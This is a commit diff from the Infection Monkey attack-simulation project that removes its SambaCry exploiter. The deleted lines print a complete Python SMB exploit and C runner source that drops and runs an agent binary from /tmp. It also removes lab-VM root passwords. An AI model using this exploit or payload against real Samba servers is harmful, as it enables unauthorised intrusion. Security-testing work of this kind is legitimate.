Merge pull request #1574 from guardicore/1567-sambacry-removal

1567 sambacry removal
This commit is contained in:
Mike Salvatore 2021-11-10 09:23:39 -05:00 committed by GitHub
commit 81fb015e6b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
28 changed files with 27 additions and 1108 deletions

View File

@ -13,6 +13,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
### Removed
- The VSFTPD exploiter. #1533
- Manual agent run command for CMD. #1570
- Sambacry exploiter #1567
- "Kill file" option in the config. #1536
### Fixed

View File

@ -48,7 +48,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* WMI
* Shellshock
* Conficker
* SambaCry
* Elastic Search (CVE-2015-1427)
* Weblogic server
* and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters.

View File

@ -37,8 +37,5 @@ export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/down
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so"
export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so"
# Swimm
export SWIMM_URL=https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm_0.4.4-0_Setup.deb

View File

@ -20,16 +20,11 @@ $WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe"
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe"
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
$SAMBA_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner32.so"
$SAMBA_32_BINARY_NAME = "sc_monkey_runner32.so"
$SAMBA_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner64.so"
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island"
$MONKEY_DIR = Join-Path "\monkey" -ChildPath "infection_monkey"
$SCOUTSUITE_DIR = Join-Path "\monkey" "common" "cloud" "scoutsuite"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
$TEMP_PYTHON_INSTALLER = ".\python.exe"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"

View File

@ -217,17 +217,6 @@ popd || handle_error
# Making dir for binaries
mkdir "${MONKEY_BIN_DIR}"
# Download sambacry binaries
log_message "Downloading sambacry binaries"
# shellcheck disable=SC2086
if exists wget; then
wget -c -N -P "${MONKEY_BIN_DIR}" ${SAMBACRY_64_BINARY_URL}
wget -c -N -P "${MONKEY_BIN_DIR}" ${SAMBACRY_32_BINARY_URL}
else
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL}
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL}
fi
# Download Swimm
log_message "Downloading swimm"
if exists wget; then

View File

@ -263,21 +263,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
Remove-Item $TEMP_UPX_ZIP
}
# Download sambacry binaries
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
if (!(Test-Path -Path $samba32_path))
{
"Downloading sambacry 32 binary"
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
}
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
if (!(Test-Path -Path $samba64_path))
{
"Downloading sambacry 64 binary"
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
}
# Get Swimm
"Downloading Swimm..."
$swimm_filename = Join-Path -Path $HOME -ChildPath "swimm.exe"

View File

@ -1,9 +0,0 @@
---
title: "Sambacry"
date: 2020-07-14T08:42:02+03:00
draft: false
tags: ["exploit", "linux"]
---
### Description
This exploit brute forces machines and searches for anonymous shares. It is partially based on [the following implementation](https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py) by CORE Security Technologies' impacket.

View File

@ -17,7 +17,6 @@ class Performance(ConfigTemplate):
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",

View File

@ -11,8 +11,6 @@ This document describes Infection Monkeys test network, how to deploy and use
[Nr. 3 Hadoop](#_Toc526517183)<br>
[Nr. 4 Elastic](#_Toc526517184)<br>
[Nr. 5 Elastic](#_Toc526517185)<br>
[Nr. 6 Sambacry](#_Toc536021459)<br>
[Nr. 7 Sambacry](#_Toc536021460)<br>
[Nr. 8 Shellshock](#_Toc536021461)<br>
[Nr. 9 Tunneling M1](#_Toc536021462)<br>
[Nr. 10 Tunneling M2](#_Toc536021463)<br>
@ -322,86 +320,6 @@ Update all requirements using deployment script:<br>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021459" class="anchor"></span>Nr. <strong>6</strong> Sambacry</p>
<p>(10.2.2.6)</p></th>
<th>(Not implemented)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Samba &gt; 3.5.0 and &lt; 4.6.4, 4.5.10 and 4.4.14</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>-</td>
</tr>
<tr class="even">
<td>Root password:</td>
<td>;^TK`9XN_x^</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td></td>
</tr>
<tr class="even">
<td>Scan results:</td>
<td>Machine exploited using Sambacry exploiter</td>
</tr>
<tr class="odd">
<td>Notes:</td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021460" class="anchor"></span>Nr. <strong>7</strong> Sambacry</p>
<p>(10.2.2.7)</p></th>
<th>(Not implemented)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x32</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Samba &gt; 3.5.0 and &lt; 4.6.4, 4.5.10 and 4.4.14</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>-</td>
</tr>
<tr class="even">
<td>Root password:</td>
<td>*.&amp;A7/W}Rc$</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td></td>
</tr>
<tr class="even">
<td>Scan results:</td>
<td>Machine exploited using Sambacry exploiter</td>
</tr>
<tr class="odd">
<td>Notes:</td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">

View File

@ -16,11 +16,6 @@ data "google_compute_image" "elastic-5" {
project = local.monkeyzoo_project
}
/*
data "google_compute_image" "sambacry-6" {
name = "sambacry-6"
}
*/
data "google_compute_image" "shellshock-8" {
name = "shellshock-8"
project = local.monkeyzoo_project

View File

@ -106,39 +106,6 @@ resource "google_compute_instance_from_template" "elastic-5" {
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
name = "${local.resource_prefix}sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sambacry-6.self_link}"
}
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.6"
}
}
*/
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
name = "${local.resource_prefix}sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
// Add custom image to cloud
image = "ubuntu32"
}
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
name = "${local.resource_prefix}shellshock-8"
source_instance_template = local.default_ubuntu

View File

@ -242,22 +242,6 @@ class Configuration(object):
smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey"
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
sambacry_folder_paths_to_guess = [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home",
]
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
###########################
# post breach actions
###########################

View File

@ -33,7 +33,6 @@
"WmiExploiter",
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
@ -67,9 +66,6 @@
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,

View File

@ -1,548 +0,0 @@
import itertools
import logging
import posixpath
import re
import time
from io import BytesIO
import impacket.smbconnection
from impacket.nmb import NetBIOSError
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import (
FILE_DIRECTORY_FILE,
FILE_NON_DIRECTORY_FILE,
FILE_OPEN,
FILE_READ_DATA,
FILE_SHARE_READ,
FILE_WRITE_DATA,
SMB,
SMB_DIALECT,
SessionError,
SMBCommand,
SMBNtCreateAndX_Data,
SMBNtCreateAndX_Parameters,
)
from impacket.smb3structs import (
SMB2_CREATE,
SMB2_FLAGS_DFS_OPERATIONS,
SMB2_IL_IMPERSONATION,
SMB2_OPLOCK_LEVEL_NONE,
SMB2Create,
SMB2Create_Response,
SMB2Packet,
)
from impacket.smbconnection import SMBConnection
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security
Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
_TARGET_OS_TYPE = ["linux"]
_EXPLOITED_SERVICE = "Samba"
# Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
# SambaCry runner filename (32 bit)
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
# Monkey filename on share (64 bit)
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
# Supported samba port
SAMBA_PORT = 445
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
def _exploit_host(self):
if not self.is_vulnerable():
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
logger.info(
"Writable shares and their credentials on host %s: %s"
% (self.host.ip_addr, str(writable_shares_creds_dict))
)
self.exploit_info["shares"] = {}
for share in writable_shares_creds_dict:
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(
self.host.ip_addr, share, writable_shares_creds_dict[share]
)
creds = writable_shares_creds_dict[share]
self.report_login_attempt(
trigger_result is not None,
creds["username"],
creds["password"],
creds["lm_hash"],
creds["ntlm_hash"],
)
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {
"username": creds["username"],
"host": self.host.ip_addr,
"port": self.SAMBA_PORT,
"share_name": share,
}
self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
self.exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
logger.info(
"Shares triggered successfully on host %s: %s"
% (self.host.ip_addr, str(successfully_triggered_shares))
)
self.add_vuln_port(self.SAMBA_PORT)
return True
else:
logger.info("No shares triggered successfully on host %s" % self.host.ip_addr)
return False
def try_exploit_share(self, share, creds):
"""
Tries exploiting share
:param share: share name
:param creds: credentials to use with share
"""
try:
smb_client = self.connect_to_server(self.host.ip_addr, creds)
self.upload_module(smb_client, share)
self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError):
logger.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s."
% (self.host.ip_addr, share, str(creds))
)
def clean_share(self, ip, share, creds):
"""
Cleans remote share of any remaining files created by monkey
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [
self.SAMBACRY_COMMANDLINE_FILENAME,
self.SAMBACRY_RUNNER_RESULT_FILENAME,
self.SAMBACRY_RUNNER_FILENAME_32,
self.SAMBACRY_RUNNER_FILENAME_64,
self.SAMBACRY_MONKEY_FILENAME_32,
self.SAMBACRY_MONKEY_FILENAME_64,
]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except (impacket.smbconnection.SessionError, SessionError):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
def get_trigger_result(self, ip, share, creds):
"""
Checks if the trigger yielded any result and returns it.
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
:return: result of trigger if there was one. None otherwise
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA
)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError):
pass
smb_client.disconnectTree(tree_id)
return file_content
def get_writable_shares_creds_dict(self, ip):
"""
Gets dictionary of writable shares and their credentials
:param ip: IP address of the victim
:return: Dictionary of writable shares and their corresponding credentials.
"""
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
logger.debug("SambaCry credential list: %s" % str(credentials_list))
for credentials in credentials_list:
try:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for share in [x for x in shares if x not in writable_shares_creds_dict]:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
except (impacket.smbconnection.SessionError, SessionError, NetBIOSError):
# If failed using some credentials, try others.
pass
return writable_shares_creds_dict
def get_credentials_list(self):
creds = self._config.get_exploit_user_password_or_hash_product()
creds = [
{"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash}
for user, password, lm_hash, ntlm_hash in creds
]
# Add empty credentials for anonymous shares.
creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""})
return creds
def list_shares(self, smb_client):
shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in self.host.services:
logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
return False
pattern = re.compile(r"\d*\.\d*\.\d*")
smb_server_name = self.host.services[SMB_SERVICE].get("name")
if not smb_server_name:
logger.info("Host: %s refused SMB connection" % self.host.ip_addr)
return False
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start() : pattern_result.end()]
samba_version_parts = samba_version.split(".")
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "4")
and (samba_version_parts[1] <= "13")
):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "5")
and (samba_version_parts[1] <= "9")
):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "6")
and (samba_version_parts[1] <= "3")
):
is_vulnerable = True
else:
# If pattern doesn't match we can't tell what version it is. Better try
is_vulnerable = True
logger.info(
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
)
return is_vulnerable
def upload_module(self, smb_client, share):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param share: share name
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(
self._config.dropper_target_path_linux
) as monkey_commandline_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
)
T1105Telem(
ScanStatus.USED,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_bin_64_src_path,
).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):
"""
Tries triggering module
:param smb_client: smb client object
:param share: share name
:return: True if might triggered successfully, False otherwise.
"""
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: True if might triggered successfully, False otherwise.
"""
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except Exception as e:
# This is the expected result. We can't tell whether we succeeded or not just by this
# error code.
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
return True
else:
pass
return False
def generate_module_possible_paths(self, share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
return [
posixpath.join(*x)
for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)
]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
else:
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location):
return BytesIO(
DROPPER_ARG
+ build_monkey_commandline(
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)
)
)
@staticmethod
def is_share_writable(smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
logger.debug("Checking %s for write access" % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
@staticmethod
def connect_to_server(ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"],
credentials["password"],
"",
credentials["lm_hash"],
credentials["ntlm_hash"],
)
return smb_client
# Following are slightly modified SMB functions from impacket to fit our needs of the
# vulnerability #
@staticmethod
def create_smb(
smb_client,
treeId,
fileName,
desiredAccess,
shareMode,
creationOptions,
creationDisposition,
fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None,
):
packet = smb_client.getSMBServer().SMB_PACKET()
packet["Command"] = SMB2_CREATE
packet["TreeID"] = treeId
if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True:
packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create["SecurityFlags"] = 0
smb2Create["RequestedOplockLevel"] = oplockLevel
smb2Create["ImpersonationLevel"] = impersonationLevel
smb2Create["DesiredAccess"] = desiredAccess
smb2Create["FileAttributes"] = fileAttributes
smb2Create["ShareAccess"] = shareMode
smb2Create["CreateDisposition"] = creationDisposition
smb2Create["CreateOptions"] = creationOptions
smb2Create["NameLength"] = len(fileName) * 2
if fileName != "":
smb2Create["Buffer"] = fileName.encode("utf-16le")
else:
smb2Create["Buffer"] = b"\x00"
if createContexts is not None:
smb2Create["Buffer"] += createContexts
smb2Create["CreateContextsOffset"] = (
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
)
smb2Create["CreateContextsLength"] = len(createContexts)
else:
smb2Create["CreateContextsOffset"] = 0
smb2Create["CreateContextsLength"] = 0
packet["Data"] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans["Data"])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse["FileID"])
@staticmethod
def open_pipe(smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert
# paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree("IPC$")
logger.debug("Triggering path: %s" % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate["Parameters"] = SMBNtCreateAndX_Parameters()
ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate["Parameters"]["FileNameLength"] = len(pathName)
ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA
ntCreate["Parameters"]["FileAttributes"] = 0
ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ
ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE
ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN
ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION
ntCreate["Parameters"]["SecurityFlags"] = 0
ntCreate["Parameters"]["CreateFlags"] = 0x16
ntCreate["Data"]["FileName"] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate["Data"]["Pad"] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return SambaCryExploiter.create_smb(
smb_client,
treeId,
pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0,
)

View File

@ -1,9 +0,0 @@
#!/usr/bin/env bash
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o
rm sc_monkey_runner.o
strip sc_monkey_runner64.so
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o
rm sc_monkey_runner.o
strip sc_monkey_runner32.so

View File

@ -1,163 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include "sc_monkey_runner.h"
#ifdef __x86_64__
#define ARCH_IS_64
#endif
#ifdef _____LP64_____
#define ARCH_IS_64
#endif
#define LINE_MAX_LENGTH (2048)
#define MAX_PARAMETERS (30)
int samba_init_module(void)
{
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
#else
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const int ACCESS_MODE = 0777;
const char RUN_MONKEY_CMD[] = "./";
const char MONKEY_DEST_FOLDER[] = "/tmp";
const char MONKEY_DEST_NAME[] = "monkey";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'};
char* monkeyDirectory = NULL;
char* fileNamePointer = NULL;
FILE * pFile = NULL;
pid_t pid = 0;
int monkeySize = 0;
void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork();
if (0 != pid)
{
// error or this is parent - nothing to do but return.
return 0;
}
// Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r");
if (NULL == pFile)
{
return 0;
}
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
if (fileNamePointer != NULL) {
found = 1;
break;
}
}
fclose(pFile);
// We can't find ourselves in module list
if (0 == found)
{
return 0;
}
monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0';
if (0 != chdir(monkeyDirectory))
{
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (NULL == pFile)
{
return 0;
}
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile);
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (NULL == pFile)
{
return 0;
}
// Build commandline
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile);
if (0 != stat(MONKEY_NAME, &fileStats))
{
return 0;
}
monkeySize = (int)fileStats.st_size;
// Copy monkey to new file so we'll own it.
pFile = fopen(MONKEY_NAME, "rb");
if (NULL == pFile)
{
return 0;
}
monkeyBinary = malloc(monkeySize);
if (NULL == monkeyBinary)
{
return 0;
}
fread(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
if (0 != chdir(MONKEY_DEST_FOLDER))
{
return 0;
}
pFile = fopen(MONKEY_DEST_NAME, "wb");
if (NULL == pFile)
{
free(monkeyBinary);
return 0;
}
fwrite(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
free(monkeyBinary);
// Change monkey permissions
if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE))
{
return 0;
}
system(commandline);
return 0;
}
int init_samba_module(void)
{
return samba_init_module();
}

View File

@ -1,7 +0,0 @@
#ifndef monkey_runner_h__
#define monkey_runner_h__
extern int samba_init_module(void);
extern int init_samba_module(void);
#endif // monkey_runner_h__

View File

@ -1,23 +0,0 @@
import os
import sys
def get_binaries_dir_path():
"""
Gets the path to the binaries dir (files packaged in pyinstaller if it was used,
infection_monkey dir otherwise)
:return: Binaries dir path
"""
if getattr(sys, "frozen", False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
def get_binary_file_path(filename):
"""
Gets the path to a binary file
:param filename: name of the file
:return: Path to file
"""
return os.path.join(get_binaries_dir_path(), filename)

View File

@ -3,10 +3,7 @@
>To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder.
>If you want to setup dev. env. for the Monkey manually, refer to the instructions below.
The monkey is composed of three separate parts.
- The Infection Monkey itself - PyInstaller compressed python archives
- Sambacry binaries - Two linux binaries, 32/64 bit.
The monkey is a PyInstaller compressed python archives.
## Windows
@ -18,18 +15,15 @@ The monkey is composed of three separate parts.
